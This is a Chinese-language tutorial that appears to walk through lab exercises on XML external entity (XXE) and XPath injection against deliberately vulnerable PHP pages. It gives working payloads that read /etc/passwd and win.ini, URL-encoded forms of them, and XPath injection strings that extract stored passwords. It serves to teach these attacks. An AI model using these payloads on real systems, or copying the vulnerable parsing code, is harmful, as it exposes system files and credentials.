一、XML介紹
二、XML的ENTITY實體
-------------------------------------------------------------------------------本文長期更新------------------------------------------------------------------Orz
ENTITY實體:
如果在XML文檔中需要頻繁使用某一條數據,我們可以預先給這個數據起一個別名。即一個ENTITY,然後再在文檔中調用它。
XML定義了兩種類型的ENTITY,一種在XML文檔中使用,另一種在爲參數在DTD文件中使用。
ENTITY的定義語法:
<!DOCTYPE 文件名 [ <!ENTITY 實體名 "實體內容"> ]> 定義好的ENTITY在文檔中通過“&實體名;”來使用。
例如:定義一個name值爲“Tom”,就可以在XML任何地方引用。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name "Tom" > ]> <root> <name>&name;</name> </root>
正常來說,DTD分爲內部DTD與外部DTD,內部DTD包含在XML文檔中,外部DTD則通過URL引用.一個DTD文件是以.dtd結尾的文本文件 。前面還要加上SYSTEM
,但是如果此處沒有任何過濾,我們完全可以引用系統敏感文件的,前提是頁面有回顯,否則你只引用了文件但不知道文件內容。
例如 Linux和Windows下的讀取路徑不一樣
//Linux下讀取/etc/passwd
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>
//Windows下讀取C:/windows/win.ini
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&name;</name>
三、Example
Example1
下面先看一下後端代碼:
<?php require_once("../header.php"); ?> Hello <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?> <?php require_once("../footer.php"); ?>
simplexml_load_string() 函數可以轉換形式良好的XML字符串爲SimpleXMLElement對象
print_r()可以把字符串和數字簡單地打印出來,而數組則以括起來的鍵和值得列表形式顯示,並以Array開頭。但print_r()輸出布爾值和NULL的結果沒有意義,因爲都是打印”\n”。因此用var_dump()函數更適合調試。打印關於變量的易於理解的信息,如果給出的是 string、integer 或 float,將打印變量值本身。如果給出的是 array,將會按照一定格式顯示鍵和元素。object 與數組類似。 記住,print_r() 將把數組的指針移到最後邊。使用 reset() 可讓指針回到開始處。
利用方法
先構造基本框架 注意&name後要有;原文應該是筆誤漏掉了。xml全部要寫到一行裏,構造好的語句需要進行URL編碼
<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name;</name>
//URL編碼:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20%22hacker%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3
嘗試讀取本地文件/etc/passwd
<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name> //URL編碼: %3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3E
Example2
後端代碼:
<?php require_once("../header.php"); $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>"; $xml=simplexml_load_string($x); $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message"; $res = ($xml->xpath($xpath)); while(list( ,$node) = each($res)) { echo $node; } ?> <?php require_once("../footer.php"); ?>
可以看到源代碼先定義了一個$x變量,裏面包含了一個xml。
然後把的 XML 字符串轉換爲 SimpleXMLElement 對象,並賦值給$res
然後查詢了users裏user裏的name 值爲$name
的,並返回其所有父節點的message裏面的值。
然後執行查詢,最後while循環顯示查詢的值。
XPath介紹:
XPath 是一門在 XML 文檔中查找信息的語言。XPath 可用來在 XML 文檔中對元素和屬性進行遍歷。
XPath 是 W3C XSLT 標準的主要元素,並且 XQuery 和 XPointer 都構建於 XPath 表達之上。
因此,對 XPath 的理解是很多高級 XML 應用的基礎。
XPath基本語法:
路徑表達式 結果 bookstore 選取 bookstore 元素的所有子節點。 /bookstore 選取根元素 bookstore。 bookstore/book 選取屬於 bookstore 的子元素的所有 book 元素。 //book 選取所有 book子元素,而不管它們在文檔中的位置。 bookstore//book 選擇屬於 bookstore 元素的後代的所有 book 元素,而不管它們位於 bookstore 之下的什麼位置。 //@lang 選取名爲 lang 的所有屬性。
/表示從XML文件中的根節點開始解析
//表示在XML文件中匹配已選擇的當前節點,且不考慮其位置關係XPath Axes(軸)軸可以定義當前節點的節點集,下面列舉了幾個常用的。
ancestor 選取當前節點的所有先輩(父、祖父等)。 ancestor-or-self 選取當前節點的所有先輩(父、祖父等)以及當前節點本身。 attribute 選取當前節點的所有屬性。 child 選取當前節點的所有子元素。 descendant 選取當前節點的所有後代元素(子、孫等)。 descendant-or-self 選取當前節點的所有後代元素(子、孫等)以及當前節點本身。 following 選取文檔中當前節點的結束標籤之後的所有節點。 namespace 選取當前節點的所有命名空間節點。 parent 選取當前節點的父節點。
瞭解了軸,再來了解一下步
,下面舉幾個例子更便於瞭解:
child::book 選取所有屬於當前節點的子元素的 book 節點。 attribute::lang 選取當前節點的 lang 屬性。 child::* 選取當前節點的所有子元素。 attribute::* 選取當前節點的所有屬性。 child::text() 選取當前節點的所有文本子節點。 child::node() 選取當前節點的所有子節點。 descendant::book 選取當前節點的所有 book 後代。 ancestor::book 選擇當前節點的所有 book 先輩。 ancestor-or-self::book 選取當前節點的所有 book 先輩以及當前節點(如果此節點是 book 節點) child::*/child::price 選取當前節點的所有 price 孫節點。
最後的最後,我們嘗試構造,還是注入的思路,先嚐試正確閉合,然後註釋掉後面沒用的。
?name=hacker' or 1=1]/parent::*/child::node()%00
//%00註釋掉後面的語句
// /parent::*/child::node()查看當前節點的所有父節點的子節點
?name=hacker' or 1=1]/parent::*/password%00